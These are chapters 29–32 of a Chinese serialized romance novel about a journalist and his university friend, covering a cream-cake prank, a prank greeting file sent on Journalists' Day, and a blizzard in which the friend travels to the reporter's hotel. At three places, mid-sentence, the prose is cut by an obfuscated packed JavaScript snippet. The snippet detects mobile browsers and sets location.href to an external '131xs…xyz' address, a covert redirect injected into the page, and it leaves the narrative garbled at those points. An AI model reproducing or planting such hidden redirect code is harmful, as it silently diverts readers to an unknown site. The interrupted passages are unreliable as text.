电视里刚好在播杨嘉树昨天采的新闻,他最近被派了一个助农方向的长期选题,动不动就往乡下跑,镜头里的他看上去灰头土脸的。刚好下一条新闻接的是农业部的政府会议,最后出境的女记者穿着一身笔挺的西装、化着精致的妆容,一副新闻界女强人的派头,跟刚刚在泥土里打滚的杨嘉树形成鲜明的对比。 嘴里的饭菜瞬间不香了,杨嘉树悄悄去看顾琢成,发现他正盯着电视里的女同事目不转睛地看,杨嘉树心里的醋坛子打翻了,放下筷子,问顾琢成:“她是不是挺漂亮的。” 顾琢成点头,附和道:“是挺漂亮的。” 杨嘉树放在桌下的双手一下子攥紧了,“要不要介绍你们认识啊。” 顾琢成的眼睛总算舍得从电视屏幕上移开了:“你跟她很熟吗。” “不太熟。”杨嘉树摇头,“但是可以去搭讪——你喜欢这种类型吗?” 顾琢成思考了一会儿,不明白这种类型是指哪种类型,于是就问杨嘉树:“哪种类型?” “嗯……”杨嘉树想了想,说,“干练,气质型的。” “还好。” 又是还好。杨嘉树发现顾琢成不知道什么时候开始变得特别不诚实,一些问题的答案总是模棱两可,没有重点。杨嘉树也懒得重复去问了,给过他机会,不想认识就算了。 顾琢成忽然转过头,盯着杨嘉树的脸:“你最近是不是瘦了?下巴都变尖了。” 饭吃得差不多,杨嘉树开始拆蛋糕——又是三元桥那家的,刚进门杨嘉树就发现了,这家他经常去买,口感很好不甜腻,他一个人就可以吃掉一小块——差不多四寸蛋糕的四分之一。杨嘉树切了一小块下来,先递给顾琢成:“没有吧,我早上还量过体重,没变——说好要减肥的,怎么又开始放纵了。” “减肥?你这样就挺好的,不用再减了。”再减就成锥子脸了。顾琢成把蛋糕放在一边,他有健身的习惯,已经好久不吃甜点了。 杨嘉树放下餐刀,顾琢成在看电视,表情还挺认真——可是,电视上在放广告,婴幼儿奶粉广告。 有那么好看吗,杨嘉树嘀咕。目光扫到切剩下的蛋糕,杨嘉树转了转眼睛,默不作声地用手抠了一坨奶油下来,然后以迅雷不及掩耳之势把奶油抹到顾琢成的脸上—— 顾琢成猝不及防,就这么被偷袭到了。 杨嘉树捧着肚子大笑:“哈哈哈,顾琢成,你也有反应这么慢的一天!” 顾琢成反应过来,看着杨嘉树无奈地笑:“你都多大了,怎么还玩这种幼稚的把戏。” 但是下一秒他就打算报复回去,杨嘉树眼睁睁看他挖了一坨更大的奶油,而且是用三根手指,不由得有点害怕,万一弄到衣服上就不好了,于是他站起来,往角落躲:“不要啊,不要这么无聊!” 顾琢成站起来,追着他跑:“谁先开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513357|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无聊的。” 客厅一共就这么大点,杨嘉树很快被逼到墙角,紧闭双眼等待顾琢成的报复。旁边就是那扇开了一半的窗户,外面还在下雨,不过从大雨变成了小雨,淅淅沥沥的,杨嘉树等了一会儿,发现脸上还没遭遇“袭击”,心里不由纳闷,干嘛,顾琢成良心发现了不成? 杨嘉树偷偷把眼睛睁开一条缝儿,发现顾琢成举着那坨巨大的奶油,正一言不发地盯着自己,似乎是在思考往哪里糊比较好。 杨嘉树瞅准时机,打算逃跑,但是被顾琢成一把拽住了手臂,顿时,杨嘉树整张脸都皱了起来:“对不起,我错了还不行吗?你轻点,别弄到我衣服上了!” 顾琢成看了看杨嘉树的脸,又看了看自己的手,然后用另一只手的食指在奶油上点了点,低下头,蜻蜓点水一样点在杨嘉树的鼻尖上。 “……”杨嘉树愣了愣,脸以星火燎原之势迅速红了起来。怕被发现这样的变化,他推开顾琢成,头也不回地往卫生间跑,“我去洗把脸!” 等杨嘉树回来,顾琢成脸上的奶油也清洗干净了,应该是用的厨房的水龙头。 杨嘉树坐下来,继续吃东西,然后就发现顾琢成的目光频频甩过来,好像他鼻子上的奶油根本就没有洗掉似的。他忍了又忍,终于没忍住,问顾琢成:“你老看我干什么?” 顾琢成犹豫了下,才说:“你鼻子好红,脸也好红,刚刚洗脸的时候太用力了吗?” 霎时间,杨嘉树感觉一股热气从身体里蹿出来,他低下头,假装去夹桌上的羊腿肉,若无其事地说:“没有啊,可能是酒喝多了,有点上脸吧。” “哦。”顾琢成相信了这个说辞。 这天晚上,他们像回到大学时代一样,聊了很多心事,各自吐槽生活中的不如意,评价彼此社交圈里的“奇葩”……一切好像都没变,好像他和顾琢成还在2608宿舍,明明第二天早八,却还是聊得谁也舍不得去睡觉……杨嘉树喝了很多酒,感性上头,即使心里对顾琢成的爱意满得都快溢出来了,却还是舍不得亲手破坏他们此刻亲如家人的关系。 就这样一辈子……其实也不错。 晚上,顾琢成留宿在杨嘉树家,杨嘉树家里有两个卧室,其中一个本来就是给顾琢成准备的,他会定期让家政去更换里面的床单被罩,即使顾琢成睡在他家的次数屈指可数。 第二天醒来,两人都要去上班,杨嘉树要搭十点的飞机飞宁夏,顾琢成则是九点半的飞机飞曼谷。杨嘉树起得很早,准备了两人份的早餐,打算吃完一起去机场。 早餐端出来,杨嘉树发现顾琢成在阳台,低着头在研究什么。 杨嘉树走过去:“吃饭了。你在看什么?” 顾琢成指着台子上的金钱橘,说:“怎么叶子黄了那么多?是不是该施点肥了。” 杨嘉树凑过去看了看,还真是,从根部开始,好多叶子都卷曲焦黄,甚至落了下来,他看看时间,现在处理来不及了,等出差回来再说吧:“应该没什么大问题,先去吃饭,我过两天出差回来再给它施肥,顺便松松土。” 这次分别之后,又是长达两个多月没有见面,而杨嘉树对这样的相处模式早已习惯,只是祈祷下一次的见面能早一点——或者晚一点,那样等他想顾琢成想得受不了的时候,就会在见面的一瞬间收获比平时多一百倍的快乐。 30.第 30 章 这一年发生了许多事情,新闻频道上层领导权利斗争,导致许多栏目受到波及,面临改版、换班底,甚至停播的风险。杨嘉树所在的晚间社会新闻首当其冲,第一个宣布改版,与上一个时段的民生咨询合并,形成一档全新的、聚焦时事热点、关注民生百态的新闻专题栏目。 节目仍然是日播,可在播出形式上发生很大的变化,节目前三分之一是当日民生资讯报道,中间三分之一是专题报道,围绕某个主题对民生问题展开深入挖掘,后三分之一则侧重于时事评论,这样一来,在选题方面就会对记者有所限制,而且雪上加霜的是,虽然栏目改版、节目时间延长,可制作团队人数却没有扩张,导致记者不仅要完成采访任务,还要参与节目选题策划,并且在大多数时候一人完成采访、摄像、写稿、后期……等工作,大致可以用四个字来形容:苦不堪言。 不巧的是,杨嘉树忙的时候,顾琢成却闲了下来,他决定辞职创业,目前已经在和鲸奇进行最后的离职交接。 杨嘉树大概是最早知道顾琢成有创业的想法的,他有自己的抱负,有才华,有技术,不该囿于一个狭小的角落,而应该像雄鹰一样,展开翅膀飞向广阔的天空。 那段时间杨嘉树忙得人仰马翻、脚不沾地,有的时候站在火辣辣的太阳底下,会怀疑自己如此奔波劳累到底是为了什么——他忍不住跟顾琢成吐槽,说当初就不该选记者这条路,钱少,又累,人际关系又复杂,早知道就回去继承家里的玩具厂了…… 顾琢成就在电话那头静静地听他抱怨,等他说完,才说:“要不要出来吃饭?” 可是杨嘉树忙得连吃饭的时间都没有,一连两个月都在外地出差。有一天他趁采访的间隙在咖啡馆写稿子,微信忽然收到顾琢成的弹窗,是一个文件,看上去有点像木马,杨嘉树怀疑顾琢成被盗号,发了个问号过去:“?” 顾琢成说:“干嘛。” 杨嘉树:“是本人吗。” 顾琢成:“如假包换。” 杨嘉树点开文件,然后忽然发现电脑忽然好像中病毒了一样,开始满屏幕冒雪花,那一瞬间杨嘉树真怀疑顾琢成是被盗号了,然后发个木马文件过来——杨嘉树慌得要死,心说在这个节骨眼上可不要出什么幺蛾子,他电脑里一堆重要资料呢……还好是虚惊一场,屏幕上冒完雪花,又开始开花,那种特别土特别俗、中年人才会喜欢的“花开富贵”的风格—— 杨嘉树已经猜到是顾琢成的杰作了,但是他没想到顾琢成的审美这么可怕,就在他这么想的时候,更可怕的一幕发生了,那些盛开的花朵中央出现杨嘉树的照片,都是从他过往采访的画面里抠出来的,抠图人技术还挺好的,一点痕迹都没有…… 只是这土到极致的特效……杨嘉树眼前一黑,不敢置信地想:顾琢成,你是不是疯了? 然而这只是个开始,开完花,又开始长树,真的是“长树”,一颗种子被人用铁锹埋进地里,然后开始发芽,长苗,越长越大,越长越高,最后长成一颗笔直的树,树的最顶端竟然是——杨嘉树的大头照! 杨嘉树:“……” 他就这样被迫承受了长达三分钟的视觉污染,最后,主题终于出现了,画面也相对正常—— 一行淡金色的字缓缓浮现:祝杨嘉树记者节快乐。 杨嘉树的心里五味杂陈,想了半天怎样回复顾琢成,最后是顾琢成等不及了,问他:“怎么样?” 杨嘉树故意说:“什么怎么样?” 顾琢成:“送你的记者节礼物。” 杨嘉树的心里其实非常感动,零点过后就开始陆陆续续收到朋友们的祝福,其实他早就期待顾琢成会不会有所表示——毕竟以往每年都有,有的时候是一束花,送到办公室(不过杨嘉树怀疑这些花都是顾琢成的助理送的,卡片上的祝福语标准得好像是百度搜索的一样);有的时候是一通慰问电话,不过大多数杨嘉树都没接到,事后再给他回过去—— 今年这么用心。 也是闲的吧。 杨嘉树慢吞吞地在键盘上敲字:“谢谢。可是你的审美该提高了。” 顾琢成:“不挺好看的么。” 杨嘉树:“我们不会这么快就有代沟了吧。/惊恐。” 顾琢成:“你对自己就这么不自信?捂脸/。” 杨嘉树:“我说的是你老了。” ——而不是我。怎么说我也是记者,紧跟时事走在潮流尖端好不好,心态年轻着呢。 顾琢成:“你在说什么。” 杨嘉树:“?” 顾琢成:“没什么。什么时候回北京?” 杨嘉树点开日历,数了数,“一个星期后吧。” 顾琢成:“等你回来,出去吃饭。” 也是托顾琢成离职创业的福,这段时间他们接触得特别频繁,不过杨嘉树要么在出差,要么在出差的路上,两人只能电话或者微信联系。 顾琢成创业的进度之所以如此缓慢,是因为他的合伙人还在做其他项目,等那边项目一完结就能启动这边的新项目,反正也是无聊,顾琢成每天就各种骚扰杨嘉树。他有时候会做一些无聊的手机小游戏给杨嘉树,让杨嘉树在飞机上或高铁上无聊的时候玩,杨嘉树本来对这种游戏不感兴趣,可是有天他点开玩了玩,发现玩到一半有个人中途加入了,而且这人一看就是顾琢成,因为他顶着“我平A键坏了”的ID,这是杨嘉树跟顾琢成大学时候玩LOL想出来的双排名,顾琢成叫“我平A键坏了”,杨嘉树就叫“我眼石忘买了”,好久没玩LOL,杨嘉树愣了一下,被勾起好多年前的回忆。他把游戏暂停,退回到用户中心,把自己的ID改成“我眼石忘买了”,然后重新进游戏。 屏幕上,一红一蓝两个小人奋力穿过各种障碍,差不多同时抵达终点。 杨嘉树退出游戏,点开微信聊天框,戳了戳顾琢成:“你每天都这么闲吗?” 顾琢成秒回:“还好吧,也有在忙的。” 杨嘉树:“那你去我家帮我给橘子树浇浇水,来打扫的阿姨说它快死了,抢救一下。” 顾琢成:“什么树?” 杨嘉树:“就大学时你送我的那棵啊。” 顾琢成:“能养这么多年也是个奇迹。” 杨嘉树:“谁说不是。”换了两次盆,虽然总是病恹恹的,可出乎意料的顽强。 顾琢成:“我晚上去。” 晚上,顾琢成发来橘子树的照片,它看起来很不好,叶子掉了大半,树根上有一些黑斑,呈现出一种不可挽回的颓势。 杨嘉树放大照片,看了又看,说:“它是不是要死了?” 顾琢成说:“好像是。命不久矣。” 杨嘉树:“不能再抢救一下?” 顾琢成:“我看救不活,给你换盆新的吧。” 杨嘉树很执着:“还是再抢救一下吧,你百度看看是什么原因?” 到最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15523699|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后也没搞明白是什么原因,毕竟他俩都不是植物专家。 顾琢成大概闲了有两个多月,在这期间经常跑去杨嘉树家,杨嘉树不在北京,想着正好有人帮他看家,就随他去了,只是严令禁止顾琢成不要去他卧室,“我客厅有装监控的,你要偷偷去我卧室被监控发现你就死定了。”杨嘉树如是说。 顾琢成固然好奇,可在尊重他人隐私方面还是非常有分寸的。 12月份,发生了一件大事。杨嘉树去G市出差的时候遭遇了一场暴风雪,百年难得一遇的超级暴风雪,当时他跟同事在高速上,被突如其来的风卷雪异象给吓懵了,同事哆哆嗦嗦地说:“要、要不下一个出口,咱下去吧,走国道,这太吓人了……” 话音刚落,“砰”地一声,前车紧急刹车,司机来不及反应,就这么撞了上去。 是连环车祸,杨嘉树他们撞了前车,同时也被追尾了,车里的人没什么大碍,出于记者的本能,杨嘉树扛起设备就下车去查看情况—— 挺严重的,最前面两辆大货车相撞,一辆轿车被夹在中间,成了肉饼,里面的人几乎没有生还的可能。大货车后面还跟了一连串小车,最前面几辆变形严重,不清楚人员伤亡情况…… 这不是杨嘉树第一次直面车祸现场,但却是这么冷、雪这么大的车祸现场,狂风卷起沙子一样粗硬的雪,打在脸上生疼生疼……警车、救护车尖锐的鸣笛声响彻夜空,杨嘉树强忍着内心的悲痛跟同事们完成了事故现场报道,然后又跟着救护车前往最近的医院……一直忙到凌晨五点,杨嘉树感觉腿有点疼,掀开裤子一看,才知道小腿不知道什么时候刮伤了,特别深的一条口子,血把保暖裤、袜子都染红了,挺触目惊心的,同事让他赶紧去处理,杨嘉树就一个人去了护士站。 伤口处理到一半,手机响了。 是顾琢成,杨嘉树接起来:“喂?” 顾琢成一反平时的稳重自持,特别大声、也特别激动地道:“你怎么现在才接电话?” 杨嘉树让他吼得有点懵:“我刚在忙,有事吗?” “你没事吗?你在哪里?”顾琢成的语速很快,呼吸急促。 “我在医院。”话一出口,杨嘉树感觉顾琢成瞬间安静了下来,连呼吸声都听不见了,他这才迟钝地反应过来,这个时间——凌晨五点,普通人正在睡觉的时间,顾琢成却这个时候给他打电话,还这么着急,应该是看到G市的新闻了吧?杨嘉树上高速前还跟顾琢成发了信息,说天气有点不好,担心出什么事故——谁知道真让他乌鸦嘴给说中了。 护士冲他比划了下,意思是处理完了,杨嘉树对她笑一笑,用口型说,“谢谢,辛苦了。”然后站起来,走到角落,低声对顾琢成说,“我没事,你看新闻了?” 顾琢成无视了他的问题,自顾自地说:“你受伤了?能打视频吗。” “小伤,擦点碘酒就行了。”不远处又起了一阵喧哗,杨嘉树瘸着腿往外走了两步,想看看是什么情况—— “嘉树!”同事不知道从哪里冒出来,大老远冲杨嘉树挥手,“赶紧跟我走!快点!” 杨嘉树心里咯噔一声,出什么事了么?从同事脸上焦急的表情来看,应该十分棘手。顾不上别的了,杨嘉树匆匆对顾琢成说:“我这儿有个急事,先挂了!” “等等!”顾琢成扬声说,“你住哪里?哪个酒店?把名字告诉我!” 杨嘉树说了来之前预定的酒店的名字,就先挂了。 31.第 31 章 G市因为这场暴风雪遭受了前所未有的重创,城区大面积断电、交通全线瘫痪、群众频频受困,甚至出现伤亡的案例。杨嘉树跟同事们作为最先深入灾情一线的采访团队,担当起了实时直播受灾一线的重任,哪里有灾情,他们就去哪里,路被冻住,车开不了,他们就步行,最后被市政的清雪车发现带走……杨嘉树又趁机采访起一线的救灾人员。此时雪还在下,丝毫没有减小的趋势,杨嘉树身上的白色羽绒服在奔走中变得脏污不堪,上面甚至有不知道什么时候蹭到的血迹,一个小领导见状,给他拿了件军大衣过来,让他套在身上,既保暖,还抗造。紧要关头,杨嘉树也顾不上什么美观不美观了,套上外套继续忙碌。 一直到晚上十点,杨嘉树整整48个小时没有合眼,拖着疲惫的身体回到酒店。现在还不是睡觉的时候,杨嘉树看到酒店旁边有个小超市还开着,就拐进去买了瓶罐装咖啡,打算回房间整理白天的素材,写新闻稿。 刚进大堂,一个熟悉的人影就冲了过来:“杨嘉树!” 杨嘉树定睛一看,整个人都愣住了:“顾琢成?!” “你怎么现在才回来?”顾琢成的眉头皱了起来,上下打量杨嘉树,一段时间没见,杨嘉树瘦了很多,脸颊都凹陷了,头发也失去以往的油亮顺滑,干枯有如稻草。 “你怎么过来的?!”杨嘉树还是震惊,“到G市的航班不是都取消了吗?” “我飞到D市,然后搭顺风车过来的。” ——赶在道路封闭的最后一刻开进来,着实是有点侥幸。亲眼见到杨嘉树,顾琢成那一直悬在心上的担忧才总算是放了下来,虽然看上去憔悴了些,可——没受伤,真是万幸。 “你疯了啊?”杨嘉树目瞪口呆,“在这种关头来这里,别人想走都来不及……” “我担心你啊!”顾琢成脱口而出,没有犹豫。 “……”杨嘉树无话可说了。他攥紧手里的咖啡,不知道该说什么,就把咖啡递给顾琢成,“你喝咖啡吗?” 顾琢成没接,只是盯着他的手:“大晚上喝咖啡?会失眠。” “那我喝。”杨嘉树收回手,左右看了看,同事见他有事,很贴心地自己走了。那现在有个问题,顾琢成住哪里?来得这么匆忙,有订酒店吗,酒店还有空房吗? 他问顾琢成:“你晚上住哪里?订房间了吗?” “没有。”顾琢成摇头。 “那……”杨嘉树犹豫地转身,“我去问问前台还有没有空房吧。” “别问了。”顾琢成说,“没了,满房。” “那……”杨嘉树快速在心中思考,要不去附近给他订一间?他朝外看了一眼,还在下雪,鹅毛一样厚重的雪片……杨嘉树刚沐浴到室内的温暖,不想再去直面残酷的冰天雪地。他思索着,犹豫着,说,“那要不……你去我房间住吧,凑合一晚。” “好。”顾琢成点头。 等电梯的时候,杨嘉树忍不住从镜子里看顾琢成,他穿着黑色的羽绒服,头发没有打理,前额搭着一些碎发……没休息好吗?眼睛下面有点青,胡子好像也没刮,看上去有点憔悴。杨嘉树张了张嘴,想打破此刻的沉默,可又不知道该说什么。 你是专门来看我的吗? ——这还用说。G市还有其他人让他冒着这么大的风险与不便过来吗。 可是,为什么? 杨嘉树压抑着自己的呼吸,还有情绪,不敢问出那个很有可能是自作多情的问题。 你来找我,是因为……喜欢我吗? 只是如此想象,杨嘉树就觉得自己好像处在高原缺氧的山巅上,下一秒就要坠入无尽的深渊。 ——当然不是了。 他回答自己,用极尽自嘲的语气,他来看你,不过是出于对至交好友的关怀,以及……刚好不忙而已。 “叮”地一声,电梯门开了。杨嘉树先出来,顾琢成跟在他身后。 房间在走廊最深处,是个单间,只有一张床,正好杨嘉树打算晚上通宵,就让顾琢成先去洗澡:“趁现在还没断电,去洗个热水澡吧。”雪还在下,随时有可能摧毁这个片区的供电系统,甚至水都不能保证不会断。 “你先去洗吧。”顾琢成摇摇头,担忧地看着他,“你看起来很疲惫。” 杨嘉树摇了摇头,他现在确实很累,头重脚轻,恨不得立即睡去——但是,得把最后的任务完成,“不,我得把稿子赶出来,你先去洗吧。” 最后,顾琢成去洗澡,杨嘉树就伏在书桌前写新闻稿,一边写一边跟北京的同事开电话会议。 没多久,顾琢成出来了,他没带行李,身上穿的是酒店的浴袍,杨嘉树没注意到他这边的动静,只是忙自己的。 顾琢成站在旁边等了一会儿,等杨嘉树挂完电话,才问:“你饿了吗?我下去看看有没有吃的。” “我不饿,你自己吃吧。”杨嘉树只顾着写稿子,头也没抬。 顾琢成换了身衣服,去楼下找吃的。酒店的位置虽然在市中心,可这么大的雪,几乎没有店铺在开着,只有旁边有一个小超市,卖些泡面零食之类的食物。没多久他上来,手里拿着两桶泡面,挺无辜地跟杨嘉树说:“只有泡面了,我烧点开水,泡泡面吃吧。” 杨嘉树“嗯”了一声。 他一直在忙,恨不能长出三头六臂,交完稿子,同事又打电话给他,叫他过去商量明天的安排,杨嘉树挂断电话,回头一看,顾琢成坐在床边一言不发地盯着他,嘴角绷得紧紧的。 杨嘉树心里一惊,以为他是生气了,气自己大老远跑过来却一直被好朋友忽视……他站起来,走到顾琢成面前,特别抱歉地说:“不好意思啊……我真的很忙,抽不开身。我现在去隔壁房间开会,你自己待一会儿,困了就先睡觉,不用等我。” 顾琢成张了张嘴,欲言又止。他是担心杨嘉树,因为看见他刚刚写稿子的时候困得几度栽到在桌子上……他有多久没睡觉了?是不是该强制扣住他,命令他休息,不要再到处乱跑了。 顾琢成心里知道这不可能,这是杨嘉树的工作,他阻止不了。 于是他唯一能做的就是站起来,送杨嘉树到门口,然后把泡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15530701|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的泡面塞给他:“别忘记吃了。我等你回来。” “嗯。”杨嘉树端着泡面,匆匆走了。 顾琢成一个人待在房间里,窗帘开着,外头狂风暴雪,像一只顶天立地的巨兽在愤怒地吐息。他躺在床上,盖好被子,打开电视,新闻里正好在播报G市的这场雪灾,很严重,几乎是这些年来前所未有的严重,更严重的是,这场暴风雪可能还会在G市肆虐三天……三天,这座城市大概率会被彻底冻住。 杨嘉树怎么办?他大概要继续待在这座冰冻的城市,即使是寸步难行,也要用双手凿开一条路,没有其他原因,只是因为,他是记者——这两个字,有时候会特别自豪地被杨嘉树说出来,即使杨嘉树偶尔会口是心非地说自己讨厌记者这个职业……还是喜欢的,对吧。 顾琢成百无聊赖地在房间里等杨嘉树回来,一直到凌晨两点,杨嘉树终于回来了,不过他整个人看上去特别迷糊,对着顾琢成说了句:“我不洗了,好困,你打个电话叫前台再送床被子上来,我先睡了。”然后就爬上床,脱掉外套,连被窝都来不及钻进去,就倒在床上睡着了。好像昏迷似的。 顾琢成站在门口犹豫了会儿,关门,走到床边,帮杨嘉树把衣服脱了,先是毛衣,然后是裤子……脱到一半,顾琢成有点尴尬,因为杨嘉树不知道怎么回事,没有穿保暖裤,而是穿了两条裤子,可能是没有多余的保暖裤了,用这个方法将就一下。顾琢成拽着裤头,往下一拉,杨嘉树雪白的腿就露了出来,还有纯白色的内裤……瞳孔皱缩,顾琢成又一把把裤子拉了上去,脸扭向别处。过了一会儿,他又扭回来,杨嘉树像个睡美人一样横陈在两米宽的大床上,让顾琢成一时不知该如何下手。 怎么办?脱还是不脱,不脱,这样睡觉不舒服……还是脱吧。他看着杨嘉树的脸,目不斜视地帮他把外裤脱了,留下一条绵软的运动裤,这样睡起来比较方便……鉴于他没洗澡,可能要用热水擦一下身体。可是,顾琢成心想,擦身体岂不是要把衣服全脱了?有必要这样吗……他摸摸鼻子,放弃了这个想法。而且杨嘉树闻上去并没有变臭,甚至看起来干枯的头发闻起来都是香的,一天没洗澡应该没事…… 但是,他想起来杨嘉树早上说他的腿受伤了,虽然是小伤,可是也不能大意。顾琢成想了很久,还是把杨嘉树的裤子脱了,他用棉被盖住杨嘉树膝盖以上的部分,问前台借来碘酒和棉签,认真地给杨嘉树腿上的伤口抹药。 ……这还叫伤得不严重,好深的一条口子,虽然没有在流血了,可是这样一条蜿蜒扭曲的伤口镶嵌在这么一条完美的腿上,令人感到痛心。 应该不会留疤吧。顾琢成对着这条伤口看了很久,然后弯下腰,轻轻吹了吹。 早点康复,不要留疤。 这么折腾杨嘉树都没醒,看样子真是困极了。顾琢成把药品放到一边,去洗了个手,回来一看时间,三点半了,他钻进被窝,刻意跟杨嘉树隔了一个德雷克海峡那么宽的距离,然后闭上眼睛,睡觉。 过了一会儿,他感觉有点冷,在被窝里翻了个身,离杨嘉树近了点。 32.第 32 章 第二天,杨嘉树醒得很早,天还没亮,屋子里一片漆黑,他坐起来,先找自己的手机,一般他习惯将手机放在枕头下面……手摸到一个温热的身躯,他愣了愣,打开灯,顾琢成就睡在自己身侧。 仅有的一点困意也没有了,杨嘉树吓得掀开被窝马上下床——身体是轻盈的,他低下头,果然,衣服都被人脱了。 “……”虽然还剩下一层,可杨嘉树的脸还是红了。脑袋里不由想象顾琢成是怎么帮他脱衣服的……另外,杨嘉树心想,他的睡姿也太规矩了些,平躺着,双手交叉在腹部(从被褥起伏的弧度猜测),像个久经训练的军人似的。 ……要叫醒他吗?杨嘉树在犹豫,可墙上的挂钟又在提醒他,时候不早了,该洗洗出去工作了。 反正他又没事,睡吧睡吧,昨晚应该也挺麻烦他的。于是杨嘉树关掉大灯,只留了一圈灯带,然后去卫生间洗漱。 收拾完毕,杨嘉树走到窗边,将窗帘拉开一条缝,向外看。现在是凌晨五点,雪居然还没停,目之所及的所有物体都蒙上了厚厚一层白雪,雪花还在不停地往上堆叠……不知道什么时候才会停止。不远处有黑黑的物体正在移动,应该是市政派出的清雪、除冰车,车的周围有一些蚂蚁一样缓慢移动的黑点,应该是清洁工,或者积极参与除冰扫雪的干部、志愿者,热心群众。 杨嘉树顿时有一种无地自容的羞愧感,他关掉窗帘,背起包就打算出门。 关门前他又觉得不妥,似乎得跟顾琢成打个招呼。于是他又返回,站在床头叫顾琢成,叫了两声,没醒,杨嘉树就弯下腰,轻推了下顾琢成的肩膀:“顾琢成,快醒醒。” 顾琢成猛地掀开眼皮,盯着杨嘉树:“干嘛。” 杨嘉树吓了一跳,怎么跟僵尸似的……估计没完全清醒,他轻声说:“我出去工作了,你继续睡,早餐九点半结束,记得订个闹钟下去吃早餐。” “这么早?”顾琢成皱紧眉头,笔直地坐起来,掀开被子下床,“几点了啊。”他走到窗边,一把拉开窗帘——天还没亮,只是因为下雪,显得像是已经亮了。 “嗯,同事在楼下等我。”没时间多说了,杨嘉树一边看表一边往门口走,“我走了,你继续睡。” 顾琢成跟他到门口,在杨嘉树即将关门的时候,说:“我能跟你一起去工作吗?” “——你疯啦?”杨嘉树怀疑自己听错了,反应了几秒钟才说,“外面这么冷,又不安全,你还是好好待在屋里吧。” “……很无聊啊。”顾琢成说,这勉强算是一个借口。 “别捣乱。”杨嘉树用教导课堂上不安分的小孩子的语气,说,“回去睡觉吧,我走了。” 走到一半,他又回头,叮嘱:“别到处乱跑。” G市这场暴雪持续了三四天,顾琢成也在G市待了三四天,他跟杨嘉树住在一起,不过两人只有晚上睡觉的时候才会见面。杨嘉树白天都在外面跑,晚上回酒店赶稿子,有时候早有时候晚,有时候写到一半还会被拉去开会,再回来时往往也是凌晨一两点,困得倒头就睡。顾琢成觉得他太拼,怀疑他会不会在工作的时候忽然晕倒—— “怎么可能。”杨嘉树哭笑不得,“你把我想得太脆弱了。” 顾琢成确实是有够无聊的,白天会给杨嘉树发微信,杨嘉树怎么有时间回?而且也不知道怎么回,比如顾琢成在饭点的时候给他发:“你吃饭了吗?我在XX路找到一家还在营业的餐馆,炒牛肉挺好吃的,要不要给你打包一份?”然后又补充,“我给你送过去。” 杨嘉树很想说这么冷的天你就不要到处乱跑了,酒店也有餐厅不是吗,而且我这里是乡下(那时他在乡下,采访受灾的村民),你知道过来多麻烦吗,还很不安全。但是他想到顾琢成是出于关心才这么发,就什么指责的话都说不出来了。 趁吃饭的时候他回:“我已经吃过了。” 第三天的时候,杨嘉树刚好在酒店附近,顾琢成可能又出门乱晃了,两人在某个十字路口撞个正着,顾琢成先看见杨嘉树的,因为他穿着一件特别显眼的军大衣,面前跟着一个摄像,正在报道前方电路抢修情况。 顾琢成没有声张,隔着一条马路静静地看着杨嘉树。 上午的时候还风平浪静,下午又开始下雪,一边下雪一边刮风,雪花打在脸上,是沙子一样粗粝的质感。顾琢成眯着眼睛,看见杨嘉树被大风吹得站都站不稳,只能扶着旁边的电线杆,说话的时候雪像过筛的面粉一样往嘴里灌……天地间是茫茫的白,只有杨嘉树身上那一抹绿是有颜色的,像一棵在风雪里顽强生长的树。 顾琢成不知道自己心脏里此刻蔓延出的情感应该叫什么……太复杂了,有心疼,有敬佩,有怜惜,有骄傲……这所有的情感汇聚在一起,让顾琢成的心脏开始像马达一样哒哒跳动,在这座冰封不动的城市,他的心动显得那样鲜明,存在感极强——就像杨嘉树身上的那抹绿色一样。 同事比个手势,告诉杨嘉树OK了,杨嘉树松了一口气,然后就看见在对街傻站着的顾琢成。他下意识冲顾琢成挥手,可是顾琢成不知道是不是没有看见,还是不想打扰他工作,顺着长街自顾自走了。 杨嘉树的表情在一瞬间变得茫然:“……?” 同事见他半天不动,疑惑地拍了拍他的肩膀:“发什么呆呢?走了。” “哦、哦,好。”杨嘉树裹紧大衣,走向和顾琢成完全相反的方向。 这样的忙碌又持续了几天,最后几天杨嘉树都在乡下,受灾比较严重的地方,顾琢成也不方便再跟着,就趁航线恢复那天买最早的班机走了。 杨嘉树送他去坐车。等车的间隙,两人聊了一会儿,杨嘉树忍不住抱怨:“来的时候那么突然,走的时候也突然……现在还下雪呢,冷得要死,真不怕折腾呀。”杨嘉树穿着那件饱经风霜的军大衣,冻得瑟瑟发抖。 顾琢成往左前方站了一点,替杨嘉树挡住萧瑟的寒风:“我来的时候你嫌弃我,现在要走了,舍不得了?” 